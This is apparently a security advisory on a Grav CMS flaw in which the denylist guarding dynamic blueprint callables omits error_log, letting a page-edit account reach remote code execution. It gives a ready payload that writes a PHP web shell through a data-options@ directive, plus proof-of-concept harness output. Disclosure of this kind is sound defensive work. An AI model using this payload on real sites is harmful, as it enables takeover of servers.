78ebfc1 (tag 2.0.13).system/src/Grav/Common/Data/Blueprint.php:455-458 call_user_func_array($o, $params) (bare-function dynamic-data provider).system/src/Grav/Framework/Flex/FlexDirectory.php:936-938 call_user_func_array($function, $params).Blueprint::isSafeDynamicCall() at Blueprint.php:514-536.
Class::method branch (:514-527) uses a strict positive allowlist self::$allowedDynamicCallables.:530-534) uses only a denylist: if (is_string($function) && Utils::isDangerousFunction($function)) return false; return !self::paramsContainDangerousCallable($params);.Utils::isDangerousFunction() (system/src/Grav/Common/Utils.php, list around :2020-2270).GHSA-7pgq/CVE-2026-64850 hardened the Class::method half of the dynamic-callable validation to a positive allowlist because a page-edit account could otherwise name any static method as a provider and reach file/secret gadgets. The bare-function half was left on a denylist (isDangerousFunction). Any bare PHP function not on that list executes.
error_log is not on the denylist (verified: no occurrence in Utils.php). error_log($message, 3, $destination) appends attacker-controlled $message to attacker-controlled file $destination, an arbitrary-file-append primitive. paramsContainDangerousCallable() (:587-603) only scans params for dangerous callable strings, so a PHP payload string and a destination path both pass. (stream_socket_client, dl, and mb_send_mail are likewise absent, giving SSRF/other primitives.)
The same surface the published dynamic-data advisories accept as reachable: a data-*@ directive in a form blueprint the Form plugin assembles from page frontmatter (GHSA-fj2p), or a data@ field in a Flex directory/pages/users blueprint (GHSA-c4wf). A page-edit / blueprint-config account, no shell.
data-options@: ['error_log', '<?php system($_GET[0]); ?>', 3, 'user/data/x.php'].Blueprint::init() resolves the directive; isSafeDynamicCall('error_log', $params) reaches the bare-function branch (:530), isDangerousFunction('error_log') is false, paramsContainDangerousCallable([...]) is false (no callable strings), so it returns true.call_user_func_array('error_log', ['<?php ...', 3, 'user/data/x.php']) (:455) appends the PHP payload to user/data/x.php.error_log write, not an upload.Executed end to end against the real Grav\Common\Data\Blueprint class loaded via composer install autoload (PHP 8.5.8, core clone at HEAD 78ebfc1). A harness called the real public Blueprint::isSafeDynamicCall(), then drove the sink and executed the written file:
[1] isSafeDynamicCall('error_log', [payload,3,dest]) => true # guard ACCEPTS error_log (bug)
[2] isSafeDynamicCall('system', ['id']) => false # control
isSafeDynamicCall('exec', ['id']) => false # control
[3] call_user_func_array('error_log', ['<?php echo "PWNED"; ?>'.EOL, 3, '/tmp/grav_rce_proof.php'])
file written: /tmp/grav_rce_proof.php (23 bytes) = <?php echo "PWNED"; ?>
[4] php /tmp/grav_rce_proof.php => PWNED # arbitrary PHP executed (RCE)
The guard returns true for error_log (and false for the denylisted system/exec controls), the error_log sink wrote attacker PHP to disk, and executing that file yielded PWNED. Source confirmation:
rg -n "error_log|stream_socket_client|mb_send_mail" system/src/Grav/Common/Utils.php # no hits
rg -n "isDangerousFunction|allowedDynamicCallables|call_user_func_array" system/src/Grav/Common/Data/Blueprint.php
error_log absent from Utils.php; Blueprint.php gates the bare-function branch on isDangerousFunction only, while the Class::method branch uses the positive allowlist.
Convert the bare-function branch to a positive allowlist, symmetric with the Class::method allowlist at :523 (only the option-provider functions first-party blueprints actually use). A denylist cannot be complete: error_log (arbitrary append), stream_socket_client (SSRF), and others must otherwise each be enumerated.
Suggested severity: High (same class and reach as GHSA-fj2p / CVE-2026-64850).
Suggested CVSS:3.1 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (9.6) for the RCE outcome; the maintainer may prefer the exact rating they gave GHSA-fj2p.
PR:L: a blueprint/page-edit account, not super.C:H/I:H/A:H: arbitrary file write leading to code execution.I compared the two branches of isSafeDynamicCall(): the Class::method branch is a positive allowlist (the GHSA-7pgq fix) while the bare-function branch is a denylist, then checked the denylist for append/exec-capable functions and found error_log missing. I used AI assistance for enumeration and drafting. I then executed the real Blueprint::isSafeDynamicCall() (loaded via composer autoload) to confirm it accepts error_log and rejects system/exec, and drove the error_log sink to write and execute attacker PHP. Verification is executed end to end against the real class; I did not run it through a full HTTP request into a bootstrapped Grav site.
{
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-17T20:44:16Z",
"nvd_published_at": null,
"severity": "CRITICAL"
}